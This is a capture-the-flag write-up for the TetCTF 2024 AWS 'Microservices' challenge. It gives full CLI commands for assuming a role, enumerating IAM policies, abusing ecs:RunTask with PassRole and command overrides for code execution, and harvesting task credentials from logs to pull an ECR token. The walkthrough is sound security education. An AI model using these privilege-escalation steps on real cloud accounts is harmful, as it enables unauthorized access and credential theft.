> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2024/tetctf-2024/microservices.md).

# Microservices

<figure><img src="/files/I5Qwo4FxI5mPGG8Ufjdi" alt=""><figcaption></figcaption></figure>

From the description, we are given 2 critical information

1. UK Fintech, so we can assume that the reigion is eu-west-2 (London)
2. The role we will need to assume is `arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL`

***

Firstly, I assumed the role with the IAM Credentials from the previous challenge as I was lazy in creating my own IAM keys.

{% code overflow="wrap" %}

```
aws sts assume-role --role-arn arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --role-session-name asd --profile tet
```

{% endcode %}

<figure><img src="/files/3x0M29JDLBcfnteEatd6" alt=""><figcaption></figcaption></figure>

I then run aws configure with the profile assume, and manually appended the session token into the credentials file.

<figure><img src="/files/GzGYLST9TfMb7sNjYOj4" alt=""><figcaption></figcaption></figure>

We are in with the assumed credentials and its working fine with the `sts get-caller-identity`

<figure><img src="/files/iWYayXUparch59smK2vu" alt=""><figcaption></figcaption></figure>

Firstly, I enumerate IAM Permissions that the role have.

{% code overflow="wrap" %}

```
aws iam list-role-policies --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --profile assume
```

{% endcode %}

<figure><img src="/files/2qTqUIQzUTqBJIyc1Cy6" alt=""><figcaption></figcaption></figure>

Theres the EcsTaskRoleDefaultPolicy attached for the IAM role, and lets look into it.

{% code overflow="wrap" %}

```
aws iam get-role-policy --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --policy-name EcsTaskRoleDefaultPolicy50882C77 --profile assume
```

{% endcode %}

```json
{
    "RoleName": "TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL",
    "PolicyName": "EcsTaskRoleDefaultPolicy50882C77",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "ecs:RunTask",
                "Resource": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
                "Effect": "Allow"
            },
            {
                "Action": [
                    "iam:ListRolePolicies",
                    "iam:GetRolePolicy",
                    "ecs:ListClusters",
                    "ec2:DescribeSecurityGroups",
                    "ec2:DescribeSubnets"
                ],
                "Resource": "*",
                "Effect": "Allow"
            },
            {
                "Effect": "Allow",
                "Action": "iam:PassRole",
                "Resource": [
                    "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
                    "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
                ]
            },
            {
                "Sid": "Statement1",
                "Effect": "Allow",
                "Action": [
                    "logs:GetLogEvents",
                    "logs:DescribeLogStreams",
                    "logs:DescribeLogGroups"
                ],
                "Resource": [
                    "arn:aws:logs:eu-west-2:543303393859:*"
                ]
            }
        ]
    }
}
```

Immidiately, a few thing stand out.

1. We are able to enumerate ECS, EC2, and able to execute ECS RunTask
2. We are able to PassRole, which probably has something to do when we execute RunTask
3. We are able to view cloudwatch logs

With that in mind, lets enumerate the ECS and EC2, and view the cloudwatch logs to see if theres any interesting artifacts.

```
aws ecs list-clusters --profile assume
```

<figure><img src="/files/ykmCd8LO9Qa9bUYoo7Hj" alt=""><figcaption></figcaption></figure>

```
aws ec2 describe-security-groups --profile assume
```

<pre class="language-json"><code class="lang-json"><strong>{
</strong>    "SecurityGroups": [
        {
            "Description": "Security Group for CTF ECS tasks",
            "GroupName": "TetCtf2Stack-CtfSecurityGroupA7633774-1DAGZMZKB7EY4",
            "IpPermissions": [],
            "OwnerId": "543303393859",
            "GroupId": "sg-0f6583e3532e99a62",
            "IpPermissionsEgress": [
                {
                    "FromPort": 252,
                    "IpProtocol": "icmp",
                    "IpRanges": [
                        {
                            "CidrIp": "255.255.255.255/32",
                            "Description": "Disallow all traffic"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "ToPort": 86,
                    "UserIdGroupPairs": []
                }
            ],
            "Tags": [
                {
                    "Key": "aws:cloudformation:stack-name",
                    "Value": "TetCtf2Stack"
                },
                {
                    "Key": "aws:cloudformation:logical-id",
                    "Value": "CtfSecurityGroupA7633774"
                },
                {
                    "Key": "aws:cloudformation:stack-id",
                    "Value": "arn:aws:cloudformation:eu-west-2:543303393859:stack/TetCtf2Stack/54b3d720-bc03-11ee-9235-06cbbf25eaf7"
                }
            ],
            "VpcId": "vpc-07e8cd02a7c992f43"
        },
        {
            "Description": "default VPC security group",
            "GroupName": "default",
            "IpPermissions": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": [
                        {
                            "GroupId": "sg-2a62a941",
                            "UserId": "543303393859"
                        }
                    ]
                }
            ],
            "OwnerId": "543303393859",
            "GroupId": "sg-2a62a941",
            "IpPermissionsEgress": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [
                        {
                            "CidrIp": "0.0.0.0/0"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": []
                }
            ],
            "VpcId": "vpc-5744993f"
        },
        {
            "Description": "default VPC security group",
            "GroupName": "default",
            "IpPermissions": [],
            "OwnerId": "543303393859",
            "GroupId": "sg-0e0be2c862c2b3241",
            "IpPermissionsEgress": [],
            "VpcId": "vpc-07e8cd02a7c992f43"
        },
        {
            "Description": "GET FLAG",
            "GroupName": "TetCTF-GETFLAG",
            "IpPermissions": [],
            "OwnerId": "543303393859",
            "GroupId": "sg-0636ad23bae6f21e7",
            "IpPermissionsEgress": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [
                        {
                            "CidrIp": "0.0.0.0/0"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": []
                }
            ],
            "VpcId": "vpc-07e8cd02a7c992f43"
        }
    ]
}
</code></pre>

```
aws ec2 describe-subnets --profile assume (output redacted for brevity)
```

What we learned from the command that was ran above.

1. The cluster arn is `arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster`
2. There is a security group called `TetCTF-GETFLAG,`its vpc id is vpc-07e8cd02a7c992f43 and its group id is `sg-0636ad23bae6f21e7`

```bash
aws ec2 describe-subnets --filters "Name=vpc-id,Values=vpc-07e8cd02a7c992f43" --profile assume
```

3. Filtering based on the vpc-id, there are 4 subnets that we can use

Next, lets understand what does ECS Run Task perform.

Based on the AWS Documentation, the RunTask starts a new task using the specified task definition.

Looking at the policy statement, we are able to then craft out the command

```json
{
    "Action": "ecs:RunTask",
    "Resource": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
    "Effect": "Allow"
}
```

```
aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 \
--cluster CtfEcsCluster \
--network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7],assignPublicIp=ENABLED}" \
--launch-type FARGATE --profile assume 
```

We are able to see that the command run successfully, and able to get the output from the cloudwatch logs.

<figure><img src="/files/odvQpGzq2q25bBuI4Ap1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qJD0x7B8MW0X5gPZ8NXN" alt=""><figcaption></figcaption></figure>

The output is a set of AWS credentials, being the credentials of the fargate instances

Looking back at the iam policy file, we have the `iam:PassRole` , so we will need to pass the role to the fargate instance

```
{
    "Effect": "Allow",
    "Action": "iam:PassRole",
    "Resource": [
        "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
        "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
    ]
}
```

Based on the AWS Documentations, we are able to use the `-overrides` option to pass the role when spinning up the fargate instances.

<figure><img src="/files/uP0R9OfzXQVxHjf9Jp65" alt=""><figcaption></figcaption></figure>

But first, lets take a look at what those two role does.

{% code overflow="wrap" %}

```
aws iam list-role-policies --role-name TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25 --profile assume

aws iam get-role-policy --role-name TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25 --policy-name EcsExecutionRoleDefaultPolicy9114F99B --profile assume
```

{% endcode %}

<figure><img src="/files/hM7FmP9XJWBRXGQj2pCo" alt=""><figcaption></figcaption></figure>

```json
{
    "RoleName": "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
    "PolicyName": "EcsExecutionRoleDefaultPolicy9114F99B",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "ecr:BatchCheckLayerAvailability",
                    "ecr:BatchGetImage",
                    "ecr:GetAuthorizationToken",
                    "ecr:GetDownloadUrlForLayer",
                    "logs:CreateLogStream",
                    "logs:PutLogEvents"
                ],
                "Resource": "*",
                "Effect": "Allow"
            },
            {
                "Action": [
                    "logs:CreateLogStream",
                    "logs:PutLogEvents"
                ],
                "Resource": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*",
                "Effect": "Allow"
            }
        ]
    }
}
```

<figure><img src="/files/SHONSogWBc1pyZzymwVY" alt=""><figcaption></figcaption></figure>

We can see from the policy file that the role has `TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25` the permission to enumerate ECR and get the container information. Armed with the relevant information, we can craft our json file. While more research on `run-task` i came accross a interesting [article](https://spin.atomicobject.com/override-database-migration/) showing how you are able to override the command thats being ran via the `--overrides` flag. I also added the script into it to try and get an RCE.

```json
{
    "containerOverrides": [
        {
            "command": [
                "ls"
            ],
            "name": "CtfContainer"
        }
    ],
    "executionRoleArn": "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
    "taskRoleArn": "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
}
```

```
aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 \
--cluster CtfEcsCluster \
--network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7],assignPublicIp=ENABLED}" \
--overrides file://overrides.json \
--launch-type FARGATE --profile assume 
```

The command execute succesfully, and we are able to get RCE, which also contains the flag in the root folder.

{% code overflow="wrap" %}

```
aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile assume

aws logs get-log-events --log-group-name /ecs/tet-ctf --log-stream-name CtfContainer/CtfContainer/6433c096d8b74339bc83e79baf2ac2ec --profile assume
```

{% endcode %}

<figure><img src="/files/amWo1V6EXmj36gdQClFE" alt=""><figcaption></figcaption></figure>

yay i win and get flag.

## Alternate Solution

However, after the CTF and discussion in the #web channel, securisec shared his solution, which really make much more sense.

<figure><img src="/files/Uy7zreRkVkZFO9pim4dP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HROhCsHU5cyqF4YDSvgd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PamqabuCOdlVDv6TlIGl" alt=""><figcaption></figcaption></figure>

So lets try to follow securisec method and get the flag from the ECR instead!

First, i removed the RCE command in my overrides.json, and get the keys from the log stream.

```
{
    "executionRoleArn": "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
    "taskRoleArn": "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
}
```

<figure><img src="/files/hYKnWbFcy1qN4OdeP32N" alt=""><figcaption></figcaption></figure>

From the RunTask output, we also get the ECR URL.

<figure><img src="/files/EtTanfhr6ntPNnZx22SW" alt=""><figcaption></figcaption></figure>

Again, a quick sanity check to see if the credentials is working properly.

<figure><img src="/files/aZ72yvXrYAtajZMGQCUq" alt=""><figcaption></figcaption></figure>

Quick recap on the relevant permission

```
{
"Action": [
    "ecr:BatchCheckLayerAvailability",
    "ecr:BatchGetImage",
    "ecr:GetAuthorizationToken",
    "ecr:GetDownloadUrlForLayer",
    "logs:CreateLogStream",
    "logs:PutLogEvents"
],
"Resource": "*",
"Effect": "Allow"
}
```

I wrote a quick bash script to authenticate with the token.

<pre data-overflow="wrap"><code><strong>token=$(aws ecr get-authorization-token --profile fargate --output json | jq -r '.authorizationData[0].authorizationToken' | base64 -d | cut -d ":" -f 2)
</strong>
crane auth login 543303393859.dkr.ecr.eu-west-2.amazonaws.com --username AWS --password $token  
</code></pre>

<figure><img src="/files/DDXbpV2AiGvoahxwnoM2" alt=""><figcaption></figcaption></figure>

As we already have the image name from the run task output, I tried to get the config of the image, and we get flag!

<figure><img src="/files/OEL58H1zzJAEr1h9hj9e" alt=""><figcaption></figcaption></figure>

## Reference

<https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html>

<https://stackoverflow.com/questions/41373167/how-to-run-aws-ecs-task-overriding-environment-variables>

<https://spin.atomicobject.com/override-database-migration/>
